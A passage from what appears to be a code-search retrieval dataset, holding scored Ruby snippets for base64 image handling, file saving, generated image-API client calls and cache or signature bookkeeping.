https://ruby-doc.org/stdlib-2.3.1/libdoc/base64/rdoc/Base64.html#method-i-strict_encode64\n file.read\n end\n img64= Base64.strict_encode64(image)\n\n # img_from_base64 = \n end", "title": "" }, { "docid": "a8d03ec7ecd697e2d03061cdd6d31393", "score": "0.6051089", "text": "def decode_base64_image\n if image_base64 and image_content_type and image_original_filename\n uri = URI::Data.new(image_base64)\n\n data = StringIO.new(uri.data)\n data.class_eval { attr_accessor :content_type, :original_filename }\n data.content_type = image_content_type\n data.original_filename = File.basename(image_original_filename)\n\n self.image = data\n end\n end", "title": "" }, { "docid": "0c18e282e670b6dded010655ff13f541", "score": "0.60510194", "text": "def write(data)\n generic_write(data, 4) { |data| Krypt::Base64.decode(data) }\n end", "title": "" }, { "docid": "f31690d4a4f4466860a694fd4895a58e", "score": "0.60444546", "text": "def save(path=nil)\n file_path = path.nil? ? (filename || 'image.png') : File.join(path, (filename || 'image.png'))\n base.write(file_path)\n end", "title": "" }, { "docid": "31b7f01d5300a2c530a6a43596a45014", "score": "0.60318685", "text": "def save_image(upc, data_uri)\n uri = URI::Data.new(data_uri)\n\n case uri.content_type\n when 'image/jpeg', 'image/jpg'\n extension = 'jpg'\n when 'image/png'\n extension = 'png'\n else\n raise ArgumentError, 'Image type not supported'\n end\n\n create_path_unless_exists \"public/images/wines/#{upc}.#{extension}\"\n\n File.open(\"public/images/wines/#{upc}.#{extension}\", 'wb') do |file|\n file.write(uri.data)\n end\n end", "title": "" }, { "docid": "f4f3d5d8c0843f543cd531d09cef88fd", "score": "0.6027225", "text": "def image_save_as_png_file_with_http_info(image_save_as_png_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageApi.image_save_as_png_file ...'\n end\n # verify the required parameter 'image_save_as_png_parameters' is set\n if @api_client.config.client_side_validation && image_save_as_png_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'image_save_as_png_parameters' when calling ImageApi.image_save_as_png_file\"\n end\n # resource path\n local_var_path = '/api/image/ImageSaveAsPNGFile'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(image_save_as_png_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageApi#image_save_as_png_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "b8a6341cfb7c2737977c0a8620c1e6bf", "score": "0.60073346", "text": "def save_to_file(base_dir = nil, file_name = @file_name)\n base_dir << '/' unless(base_dir.nil? or base_dir.end_with?('/'))\n File.open(\"#{base_dir}#{file_name}\", 'w+') do |f|\n f.write(Base64.decode64(@content))\n end\n true\n end", "title": "" }, { "docid": "f786b9b23c48f2548f961fbe49bf4c6d", "score": "0.5999315", "text": "def save_file(file_path, file_content_base64)\n file_content_decoded = Base64.decode64(file_content_base64)\n File.open(file_path, \"wb\") do |f|\n f.write(file_content_decoded)\n end\n end", "title": "" }, { "docid": "a1aba085fb52c86f2f0051f58fa3a47a", "score": "0.59839034", "text": "def photo_base64=(image)\n return if image.blank?\n @auto_crop = true\n\n image = Paperclip.io_adapters.for(\"data:;base64,#{image}\")\n image.original_filename = \"snapshot.jpg\"\n image.content_type = \"image/jpeg\"\n self.photo = image\n end", "title": "" }, { "docid": "5aada0ffc2724f446e290fa397490366", "score": "0.59800714", "text": "def save_photo\n if @file_data\n FileUtils.mkdir_p FOTOS #Crea la carpeta en caso no exista\n File.open(photo_filename, 'wb') do |f|\n f.write(@file_data.read)\n end\n @file_data = nil\n end\n end", "title": "" }, { "docid": "246aad8e362ba7a166cd404785cb5b67", "score": "0.5977492", "text": "def save_signature\n image.write(file_path = \"#{Rails.root}/tmp/#{SecureRandom.hex(10)}.png\")\n return upload_signature(file_path)\n end", "title": "" }, { "docid": "4990a69dfb14e0b9d5a671ec9a734ca0", "score": "0.5976028", "text": "def image\n\t\tBase64.decode64(enc_image)\n\tend", "title": "" }, { "docid": "046c26c851c8453f1faa11a092dbbdfd", "score": "0.5973089", "text": "def write_file_after_save(file_data_to_write=nil)\n return unless(@file_data_to_write || (@file_data_to_write=file_data_to_write))\n \n # Check if we have the converted images already. In this case we write\n # them to the appropriate directories directly and call the super method\n return super if(direct_write!)\n \n # \"Prepare\" the original file for conversion, indicate if a temp file is being used\n original_file_path, orig_is_temp = prepare_original_file\n # Check if we need to delete the original/temp file\n will_delete_source = orig_is_temp || @delete_original_file\n # Path to the temporary thumbnail file\n destination_thumbnail_file_path = File.join(Dir.tmpdir, \"thumbnail_#{random_tempfile_filename}.gif\")\n \n begin\n self.class.benchmark(\"\\033[36mIipData\\033[0m Making thumb and pyramid for #{self.id}\", Logger::INFO) do\n \n # Create the thumbnail at the temporary location\n TaliaUtil::ImageConversions::create_thumb(original_file_path, destination_thumbnail_file_path)\n # Create the pyramidal image from the original\n create_pyramid(original_file_path) if orig_is_temp\n \n # Run the super implementation for the thumbnail, by using the temporary thumb file as the \"data\"\n @file_data_to_write = DataPath.new(destination_thumbnail_file_path)\n # The temp thumb file needs to be deleted by the superclass\n @delete_original_file = true\n \n end # end benchmarking\n super\n \n ensure\n # Delete the temporary \"original\" file, if necessary\n File.delete original_file_path if(File.exists?(original_file_path) && will_delete_source)\n end\n end", "title": "" }, { "docid": "d9e4988ddc6ed7637249d4ee778dce16", "score": "0.5970601", "text": "def qr_code_to_qr_image()\n\t\t\tif !image_type\n\t\t\t\timage = \"/tmp/image_#{Time.now.to_i}.png\"\n\t\t\t\tFile.open(\"#{image}\", 'wb') do |f|\n\t\t\t\t\tf.write(Base64.decode64(@qr_image))\n\t\t\t\tend\n\t\t\t\t@qr_image = image\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3356ce04079bb9b6e5567b37e1d51635", "score": "0.5966908", "text": "def image_data=(data)\n regex = /data:(.*);(.*),/\n realdata = regex.match(data).post_match\n\n # decode data and create stream on them\n io = CarrierStringIO.new(Base64.decode64(realdata))\n\n # this will do the thing (poster is mounted carrierwave uploader)\n self.poster = io\n end", "title": "" }, { "docid": "3356ce04079bb9b6e5567b37e1d51635", "score": "0.5966908", "text": "def image_data=(data)\n regex = /data:(.*);(.*),/\n realdata = regex.match(data).post_match\n\n # decode data and create stream on them\n io = CarrierStringIO.new(Base64.decode64(realdata))\n\n # this will do the thing (poster is mounted carrierwave uploader)\n self.poster = io\n end", "title": "" }, { "docid": "640e58b233ccce74d31b639368133085", "score": "0.59536755", "text": "def encoded_picture\n \"data:image/#{self.extension};base64,#{File.open('public/images/news/' + self.picture,'rb').read}\"\n end", "title": "" }, { "docid": "640e58b233ccce74d31b639368133085", "score": "0.59536755", "text": "def encoded_picture\n \"data:image/#{self.extension};base64,#{File.open('public/images/news/' + self.picture,'rb').read}\"\n end", "title": "" }, { "docid": "c89a9ba7b9ff44d3fe8919d90b4a717e", "score": "0.5951881", "text": "def write_export_images(images)\n images.each do |entry|\n export_filename = entry[:export_filename]\n image = entry[:image]\n begin\n File.binwrite(export_filename, image.content)\n rescue StandardError => e\n Rails.logger.info \"Exception opening file for image: #{export_filename}\"\n Rails.logger.info \"Error message #{e.message}\"\n Rails.logger.info e.backtrace.inspect\n end\n end\n end", "title": "" }, { "docid": "abf0c39c319509dc8daac5b56aeefb7e", "score": "0.59224164", "text": "def save_image_to(image, filename)\n ::Dir::Tmpname.create([filename.to_s, PNG_EXTENSION]) do |tmp_image_filename|\n image.write_to_file(tmp_image_filename)\n FileUtils.mv(tmp_image_filename, filename)\n end\n end", "title": "" }, { "docid": "e9413680f743fca182065f1967dc7925", "score": "0.59163845", "text": "def to_png\n data = \"\"\n to_png_stream Proc.new { |chunk| data += chunk }\n yield data if block_given?\n data\n end", "title": "" }, { "docid": "0bf3f7612640d9a30d82cb538a7428d2", "score": "0.59077096", "text": "def store_attachment(data, options={})\n save_image(MogileImageStore::Attachment.new(data, options), options)\n end", "title": "" }, { "docid": "df5a34d6d89e4a946f6c367267461efe", "score": "0.5891889", "text": "def save_image(id, uploaded_io)\n filepath = Rails.root.join('public', 'images', id.to_s + '_original.jpg')\n File.open(filepath, 'wb') do |file| \n file.write(uploaded_io.read) \n file.close\n end \n image = Magick::Image.read(filepath).first\n ar = image.x_resolution.to_i / (image.y_resolution.to_i * 1.0)\n height = ar * 400\n image.change_geometry!(\"#{height}x400\") { |cols, rows| \n image.thumbnail! cols, rows \n }\n image.write(filepath.sub(/original/, \"thumbnail\"))\n end", "title": "" }, { "docid": "aed904fb55bc718922ced1f8232726d1", "score": "0.5889705", "text": "def png\n @canvas.to_blob { |attrs| attrs.format = 'PNG' }\n end", "title": "" }, { "docid": "d358ac0d86721a557f93d82854fe0564", "score": "0.58875245", "text": "def blob_for(data, size = 420, background = nil)\n img = Identicon.new(data, size)\n img.background = background unless background.nil?\n img.generate_image\n img.to_blob\n end", "title": "" }, { "docid": "db667cedb6a85610c5b5f5674c13c748", "score": "0.5883868", "text": "def download_image(payload_in)\n payload = payload_in\n\n temp_image_name = \"/tmp/temp_image_#{payload[\"id\"]}.jpg\"\n\n File.open(temp_image_name, \"wb\") do |fout|\n open(payload[\"image_url\"]) do |fin|\n IO.copy_stream(fin, fout)\n end\n end\n\n temp_image_name\nend", "title": "" }, { "docid": "e88862a75fbcbc3d82e8e24922b5a399", "score": "0.58749086", "text": "def to_blob\n @image.to_blob\n end", "title": "" }, { "docid": "c6857be58c8dff64fbce148cfa85dd5e", "score": "0.58650595", "text": "def store(id, data)\n begin\n file = filename(id)\n FileUtils.mkdir_p(File.dirname(file))\n out = File.open(file, 'w')\n out.write(Base64.encode64(data))\n out.close\n rescue\n raise Sekrat::StorageFailure.new(\"couldn't save\")\n end\n end", "title": "" }, { "docid": "f1cf0295b3593e510dfdde4c18560a67", "score": "0.58597994", "text": "def image_save_as_png_with_http_info(image_save_as_png_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageApi.image_save_as_png ...'\n end\n # verify the required parameter 'image_save_as_png_parameters' is set\n if @api_client.config.client_side_validation && image_save_as_png_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'image_save_as_png_parameters' when calling ImageApi.image_save_as_png\"\n end\n # resource path\n local_var_path = '/api/image/ImageSaveAsPNG'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(image_save_as_png_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'ImageSaveAsPNGResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageApi#image_save_as_png\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "1c52c5bc9f5ddf80ada50b59371f4a7a", "score": "0.5843313", "text": "def write(path)\n image.write(path)\n image\n end", "title": "" }, { "docid": "63d0989eb77759b2b1ba4b814d4115f5", "score": "0.5840596", "text": "def image_data=(data)\n # decode data and create stream on them\n io = CarrierStringIO.new(Base64.decode64(data))\n\n # this will do the thing (photo is mounted carrierwave uploader)\n self.photo = io\n end", "title": "" }, { "docid": "0b4849da691be7a35bd46b6c4af7ad87", "score": "0.5824405", "text": "def save_image(image, dest)\n @images[image].open\n File.open(dest, 'w') { |f| f.write(@images[image].read) }\n @images[image].close\n end", "title": "" }, { "docid": "656aca163def3a11a701692c981bb28d", "score": "0.5823951", "text": "def image_data=(image_data)\n return if image_data.blank?\n storage.image_data = image_data\n end", "title": "" }, { "docid": "8ee0f0dd7bb6defe2ac0200661975d52", "score": "0.58209914", "text": "def save_file\n return(redirect_to new_image_path) if params['upload']['datafile'].blank?\n name = params['upload']['datafile'].original_filename\n directory = Images_Folder\n path = directory+name\n File.open(path, \"wb\") {|f| f.write(params['upload']['datafile'].read)}\n flash[:notice] = 'Image was successfully uploaded.'\n redirect_to images_path\n end", "title": "" }, { "docid": "1e0df1ef08a591996d179979f726c594", "score": "0.58172774", "text": "def save_png(name = \"\", path = \"./\", mode = 0)\n File.open(path + name + \".png\", \"wb\") {|f| f.write(\"\\211PNG\\r\\n\\032\\n\" + png_ihdr + png_idat + png_iend) }\n end", "title": "" }, { "docid": "689b76e657a1f7f1da37243f04ae63e1", "score": "0.581304", "text": "def to_png\n\t\t\traise \"#{self.class} has not implemented an image representation\"\n\t\tend", "title": "" }, { "docid": "132b6fbcd468e8811877e9dbe8d22406", "score": "0.5804487", "text": "def add_identicon\n base64_identicon = RubyIdenticon.create_base64(email)\n StringIO.open(Base64.decode64(base64_identicon)) do |data|\n data.class.class_eval { attr_accessor :filename, :content_type }\n data.filename = 'logo.jpg'\n data.content_type = 'image/jpeg'\n self.logo = data\n end\n save(validate: false)\n end", "title": "" }, { "docid": "3c578b4baa49246c4d7a09b929e901a0", "score": "0.57952136", "text": "def editor_gen\n #need to optimize this\n send_data Base64.decode64(params[:imagedata]), { :filename => params[:filename] , :disposition => 'attachment' } \n end", "title": "" }, { "docid": "3e1010cd6dc6130da3a3cd52a4cd18e0", "score": "0.5792742", "text": "def save_image(magick, destination_path, allow_splitting: T.unsafe(nil), **options); end", "title": "" }, { "docid": "77642c797ae34de443dfcfdd17dbf918", "score": "0.5792388", "text": "def to_data_uri(options = {})\n data = Base64.encode64(to_blob).gsub(\"\\n\", '')\n \"url('data:image/png;base64,#{data}')\"\n end", "title": "" }, { "docid": "dc0fc7c678a4d7c2175f592fa0b112cb", "score": "0.5791206", "text": "def save_image\n url=read_catapi_url\n extension= url.split(\".\").last\n open(\"/home/fredy/Desktop/cat_image.#{extension}\", 'wb') do |file|\n file << open(read_catapi_url).read\n end \n end", "title": "" }, { "docid": "fe6d776a08f06e0a1e85bcea79ba419e", "score": "0.57852024", "text": "def convert_image\n if self.data.nil?\n return\n end\n if self.image.nil?\n return\n end\n\n # convert to PNG if it isn't, and to right size\n altered = false\n if self.image.format != 'PNG'\n self.image.format = 'PNG'\n altered = true\n end\n if image.columns != WIDTH || image.rows != HEIGHT\n image.resize_to_fill!(WIDTH, HEIGHT)\n altered = true\n end\n if altered\n write_attribute(:data, self.image.to_blob)\n end\n end", "title": "" }, { "docid": "2ca141a3e62442a565e1489b81e6cc3f", "score": "0.5784418", "text": "def save\n @image.save\n end", "title": "" }, { "docid": "7884ca7b9601a55c3a51349aa191390d", "score": "0.5775234", "text": "def write_image script_filename, output_filename\n data = create_image_data(script_filename, File.extname(output_filename))\n File.open(output_filename, \"w+\") do |f|\n f.write(data)\n end\n end", "title": "" }, { "docid": "1ebf879d73fc320b89fad68fd475a29a", "score": "0.57738674", "text": "def write(data)\n generic_write(data, 3) { |data| Krypt::Base64.encode(data) }\n end", "title": "" }, { "docid": "dc59b08595b79dd966fc1b4fd0ef7c81", "score": "0.57719773", "text": "def saveToFile\r\n border = 4\r\n imgToSave = FXPNGImage.new(@app, nil, IMAGE_SHMI|IMAGE_SHMP, @width+border, @height+border)\r\n imgToSave.create\r\n #~ img = FXImage.new(@app, @image.data.data, IMAGE_OWNED|IMAGE_DITHER|IMAGE_SHMI|IMAGE_SHMP, @width, @height)\r\n @image.create\r\n \r\n dc = FXDCWindow.new(imgToSave)\r\n dc.foreground = FXColor::Black\r\n dc.fillRectangle(0, 0, @width+border, @height+border)\r\n dc.drawImage(@image, border/2, border/2)\r\n\r\n file = name + '.png'\r\n FXFileStream.open(file, FXStreamSave) { |stream| \r\n imgToSave.restore #Restore image from offscreen pixmap\r\n imgToSave.savePixels(stream) \r\n }\r\n end", "title": "" }, { "docid": "49599af085bd0063fd634685f243dc10", "score": "0.5766501", "text": "def debug\n @image.write(Rails.root.join('tmp', 'debug.png'))\n end", "title": "" }, { "docid": "41d785a60a305116aaf8d6d27dcd2d42", "score": "0.57598805", "text": "def render_png_str(img=self.picture)\n img.pngStr\n end", "title": "" }, { "docid": "7baedb076e435d2239b810b72c09b8c7", "score": "0.5756897", "text": "def image_file=(input_data)\n self.filename = input_data.original_filename\n self.content_type = input_data.content_type.chomp\n self.binary_data = input_data.read\n end", "title": "" } ]
d798ed85b7322c7401863e572ff1ff3b
after a new signature is created, publish fresh data to the clients and also set the cache value that /fresh_data is based upon
[ { "docid": "deba5ddec50c0b31fae9dcfca2cde56a", "score": "0.7305911", "text": "def cache_signature_data_and_server\n invalidate_cache\n Rails.cache.write(\"topThreeStates\", self.class.top_three_states, expires_in: 10.minutes)\n Rails.cache.write(\"signatureCount\", self.class.count, expires_in: 10.minutes)\n self.class.update_clients\n end", "title": "" } ]
[ { "docid": "79a32a8c781af25d2bcb444107b6ec44", "score": "0.69581884", "text": "def after_create(signature)\n\t\tif signature.state == 1 \n\t\t\texpire_cache_for(signature)\n\t\tend\n end", "title": "" }, { "docid": "0679cdc02aa7080708e60e3db7a4b1e5", "score": "0.66423136", "text": "def after_update(signature)\n expire_cache_for(signature)\n end", "title": "" }, { "docid": "262501351dbc18e9a832d2e2694ed57a", "score": "0.63716406", "text": "def autorestore; end", "title": "" }, { "docid": "3ed777da6d41c323297baf25f310a346", "score": "0.6163104", "text": "def after_update(flatshare)\n expire_flatshare_cache(flatshare)\n end", "title": "" }, { "docid": "c1bbebf207b6064b9fe3ec37cecdc2d0", "score": "0.59577066", "text": "def update_cache; update_cache_on_create; end", "title": "" }, { "docid": "c1bbebf207b6064b9fe3ec37cecdc2d0", "score": "0.59577066", "text": "def update_cache; update_cache_on_create; end", "title": "" }, { "docid": "94c5f20fe3d5645957f204b03ef51ea0", "score": "0.59218425", "text": "def set(data)\n data = data.to_json\n cache_key = Digest::SHA1.hexdigest(data)\n connection.set(cache_key, data)\n cache_key\n end", "title": "" }, { "docid": "87bbed2a35b28e35cbbb4b524ddba5aa", "score": "0.58633447", "text": "def prepend(client, key, flag ,expiration, size, value, no_reply) \r\n \r\n storedData = get_data(key) \r\n \r\n if has_expired?(key)\r\n purge_expired(key)\r\n raise \"NOT_STORED\\r\\n\" \r\n end \r\n \r\n if(storedData == nil)\r\n raise \"NOT_STORED\\r\\n\" \r\n end\r\n\r\n storedData.semaphore.synchronize{\r\n cas_unique = rand(2**32..2**64-1)\r\n new_value = \"#{value}#{storedData.value}\"\r\n data = SavedData.new(new_value, storedData.flag, cas_unique, storedData.size + size)\r\n set_data(key, data) \r\n \r\n if(!no_reply)\r\n client.print(\"STORED\\r\\n\")\r\n end\r\n }\r\n end", "title": "" }, { "docid": "4c81f0ced266b66390ed43e9c6913b41", "score": "0.5861775", "text": "def update!\n clear_all!\n\n client = InstagramTokenAgent::Client.new(config)\n queue_refresh(InstagramTokenAgent::Store.expires - config.token_expiry_buffer, client.signature)\n end", "title": "" }, { "docid": "d5025666be63088e2c71f3e3b1b25829", "score": "0.5788184", "text": "def store(expires_in, refresh_window: 5.minutes)\n raise ArgumentError.new('Cache client has not been set.') unless cache_client.present?\n\n self.expires_at = DateTime.now + expires_in\n\n ActiveSupport::Notifications.instrument(\"store.caching\", { url: url, policy_group: policy_group, expires_in: expires_in} ) do\n real_expiry = real_cache_expiry(expires_in, refresh_window: refresh_window)\n cache_client.multi do\n data_json = data.is_a?(Hash) ? data.to_json : data\n cache_client.set(cache_key(:data), data_json, real_expiry)\n cache_client.set(cache_key(:meta), metadata, real_expiry)\n end\n end\n end", "title": "" }, { "docid": "11afb49fb86e2445fa00b1e05065d94b", "score": "0.5713499", "text": "def after_update\n set_expires_at\n end", "title": "" }, { "docid": "11afb49fb86e2445fa00b1e05065d94b", "score": "0.5713499", "text": "def after_update\n set_expires_at\n end", "title": "" }, { "docid": "e65c2e2c50cf4ee7d35672432b938e4e", "score": "0.57008827", "text": "def update_cache_on_create\n Moebooru::CacheHelper.increment_version(\"tag\")\n end", "title": "" }, { "docid": "61227d711fb6cf661c78bafbd5c4da03", "score": "0.5693893", "text": "def reset_signature\n @signature = nil\n signature if key && payload\n end", "title": "" }, { "docid": "eb67aa71411b4d0c452c01c5a3f286ac", "score": "0.5686735", "text": "def cache_publically\n expires_in 1.hour, public: true\n @disable_csrf_token = true\n end", "title": "" }, { "docid": "12ad3d9b632513184995c43226687faf", "score": "0.56788635", "text": "def mark_fresh\n @expired_after = Util::timestamp\n end", "title": "" }, { "docid": "7bb3056f35400efc1cc9a37f842a1521", "score": "0.5676868", "text": "def cache_version_data\n {}\n end", "title": "" }, { "docid": "eec0bdb41c462b21005d892bfdd2e7c7", "score": "0.56539434", "text": "def recache\n mvi.cache(uuid, mvi.mvi_response)\n end", "title": "" }, { "docid": "eec0bdb41c462b21005d892bfdd2e7c7", "score": "0.56539434", "text": "def recache\n mvi.cache(uuid, mvi.mvi_response)\n end", "title": "" }, { "docid": "aa921d9e771a654add794cc684c4c2f3", "score": "0.56481916", "text": "def update_caches\n topic.after_post_update(self)\n end", "title": "" }, { "docid": "874a19e220346accf8e46b9e0059a22e", "score": "0.5642086", "text": "def bookkeep!\n # We inject the published value because ... threads. Just to be safe.\n Thread.new(published) do |published_value|\n Search.client.add([{ id: id, druid: id, published: published_value, resource_id: 'druid' }],\n add_attributes: { commitWithin: (1.hour.to_i * 1000) })\n end\n end", "title": "" }, { "docid": "b54d19ba5dddf1edfb5269663b633fcb", "score": "0.5630993", "text": "def set_timestamp\n fresh_when last_modified: @topics.first.updated_at, etag: @topics\n end", "title": "" }, { "docid": "2180c86d22ec4ec6a05cfd88f9d1a684", "score": "0.56265444", "text": "def caching\n @caching = \"data_update[#{data_path}]\"\n end", "title": "" }, { "docid": "1f2074ca5d4f0294d4e1bbdc8c27d3e1", "score": "0.56170636", "text": "def cached; end", "title": "" }, { "docid": "1f2074ca5d4f0294d4e1bbdc8c27d3e1", "score": "0.56170636", "text": "def cached; end", "title": "" }, { "docid": "1f2074ca5d4f0294d4e1bbdc8c27d3e1", "score": "0.56170636", "text": "def cached; end", "title": "" }, { "docid": "1f2074ca5d4f0294d4e1bbdc8c27d3e1", "score": "0.56170636", "text": "def cached; end", "title": "" }, { "docid": "332b6c64966313f980f7a99aaf40366e", "score": "0.5609356", "text": "def record(object, cache_key = cache_key_for(object))\n default_etag = object.inspect\n if object.respond_to?(:cache_key).presence && (ck = object.cache_key).present?\n default_etag = ck\n end\n generated_etag = Digest::MD5.hexdigest(default_etag)\n RocketPants.cache[cache_key] = generated_etag\n end", "title": "" }, { "docid": "f358494db1543a8905d6442b7410292b", "score": "0.56027055", "text": "def publish!\n publish\n save!\n end", "title": "" }, { "docid": "2abf6597cab3cbbcbde8fbe29b7ed5f5", "score": "0.5599546", "text": "def reload\n @digest = nil\n @timestamp = nil\n self\n end", "title": "" }, { "docid": "8baf350ae6d5c3fd7d64d0ffb962a832", "score": "0.55902773", "text": "def update\n return super\n ensure\n cache_store\n end", "title": "" }, { "docid": "a55d53b4fc810c24ff722339c3947d98", "score": "0.5586451", "text": "def expire_cache; end", "title": "" }, { "docid": "a55d53b4fc810c24ff722339c3947d98", "score": "0.5586451", "text": "def expire_cache; end", "title": "" }, { "docid": "e17c8f61a67df327154d1dd13a18bc88", "score": "0.5582515", "text": "def update!(**args)\n @expiration_time = args[:expiration_time] if args.key?(:expiration_time)\n @public_key = args[:public_key] if args.key?(:public_key)\n end", "title": "" }, { "docid": "7592beede1b0367bca2381da8ce279c2", "score": "0.55784", "text": "def reset_key_lease\n public_key_lease = (DateTime.now + PUBLIC_KEY_LEASE_DAYS).to_date\n end", "title": "" }, { "docid": "07a33d35d208b0acd595bd031fc434b4", "score": "0.5577345", "text": "def sync_publication_hash_and_db\n rebuild_authorship\n sync_identifiers_in_pub_hash\n set_sul_pub_id_in_hash if persisted?\n update_formatted_citations\n @pubhash_needs_update = false\n self\n end", "title": "" }, { "docid": "b1e955dbee8e8fb0fa269897a293daba", "score": "0.5576814", "text": "def refresh_cache\n site.touch\n end", "title": "" }, { "docid": "aa31b1fcfd270a360e9d4b33c5178177", "score": "0.55751437", "text": "def store(data)\n key = Time.now.to_i\n @storage[key] = data\n {'key' => key, 'checksum' => 0 }\n end", "title": "" }, { "docid": "123ed20ea69004f2fe52956c17815ab2", "score": "0.55582255", "text": "def cache!\n end", "title": "" }, { "docid": "1dd94be5308ce27efaa6d08bccf89154", "score": "0.5550384", "text": "def publish!\n publish\n save!\n end", "title": "" }, { "docid": "69657497f335247db3c76e9643a065d2", "score": "0.55498445", "text": "def after_create(topic)\r\n expire_cache_for(topic)\r\n end", "title": "" }, { "docid": "a48761c517ec7f37bb757e8aca63c103", "score": "0.55450606", "text": "def gc\n now = Time.now.to_i\n @mutex.synchronize {\n @data.each_pair do |key, value|\n if now > @data[key][:expires_at]\n @data.delete key\n end\n end\n }\n end", "title": "" }, { "docid": "700c2e6b1211f6535367c021916486c9", "score": "0.5543487", "text": "def renew\n __log_activity\n __debug_route\n @item = wf_single(rec: :unset, event: :create)\n upload_authorize!\n respond_to do |format|\n format.html\n format.json { render json: @item }\n format.xml { render xml: @item }\n end\n rescue => error\n post_response(error)\n end", "title": "" }, { "docid": "02b4d0dd982ddd61660617cb901a8e58", "score": "0.5543161", "text": "def touch(expires_in, refresh_window: 5.minutes)\n raise ArgumentError.new('Cache client has not been set.') unless cache_client.present?\n\n self.expires_at = DateTime.now + expires_in\n\n ActiveSupport::Notifications.instrument(\"touch.caching\", { url: url, policy_group: policy_group, expires_in: expires_in} ) do\n real_expiry = real_cache_expiry(expires_in, refresh_window: refresh_window)\n\n cache_client.touch(cache_key(:data), real_expiry)\n cache_client.set(cache_key(:meta), metadata, real_expiry)\n end\n end", "title": "" }, { "docid": "371f27f6f932d57c12b0016237c728a9", "score": "0.5541247", "text": "def generateSignature\n @timestamp ||= self.generateTimestamps\n @signature = Digest::MD5.hexdigest(@timestamp + Digest::MD5.hexdigest(@data + @appKey).downcase + @secretKey).downcase\n end", "title": "" }, { "docid": "593fe00f3db14f9e71f68de67e7dc8e4", "score": "0.5538072", "text": "def create\n # The only things we need to handle in here (for now at least) are entries.\n # If there's been an update or a deletion, we just remove the cached timestamp.\n # The updated_at method which is included in ContentfulModel::Base in this gem\n # will check the cache first before making the call to the API.\n\n # We can then just use normal Rails russian doll caching without expensive API calls.\n request.format = :json\n update_type = request.headers['HTTP_X_CONTENTFUL_TOPIC']\n\n # All we do here is publish an ActiveSupport::Notification, which is subscribed to\n # elsewhere. In this gem are subscription options for timestamp or object caching,\n # implement your own and subscribe in an initializer.\n ActiveSupport::Notifications.instrument(\"Contentful.#{update_type}\", params)\n\n #must return an ok\n render nothing: true\n end", "title": "" }, { "docid": "de12d57876f678db62a7e712dd14b1a7", "score": "0.5511894", "text": "def reset_key_lease\n self.public_key_lease = (DateTime.now + PUBLIC_KEY_LEASE_DAYS).to_date\n end", "title": "" }, { "docid": "df87777a983ecbef35d1f046aebdd842", "score": "0.5511718", "text": "def after_sync\n super()\n Wukong::Deploy.vayacondios_client.announce(vayacondios_topic, {\n success: true,\n step: 's3',\n bytes: (bytes || 0),\n }.tap { |e| e[:duration] = duration if duration })\n Wukong::Deploy.vayacondios_client.set(vayacondios_topic, \"s3.last\", { state: 1, time: Time.now.utc.to_i })\n end", "title": "" }, { "docid": "9dc56c428a40a06cb991e33caaa49db3", "score": "0.5509244", "text": "def after_create(datum)\n expire_cache_for(datum)\n end", "title": "" }, { "docid": "7a3e248cf3e4608eb223ef1fbf31b17e", "score": "0.54994047", "text": "def cache_data(data)\n redis.set session_id, data\n redis.expire session_id, TTL\n end", "title": "" }, { "docid": "9cbb5cafbcd6c4e4f0699580c01259a7", "score": "0.5495567", "text": "def add_signature\n set_specification_attribute('signature',\"localhost:\" << Time.now.to_i.to_s)\n end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": 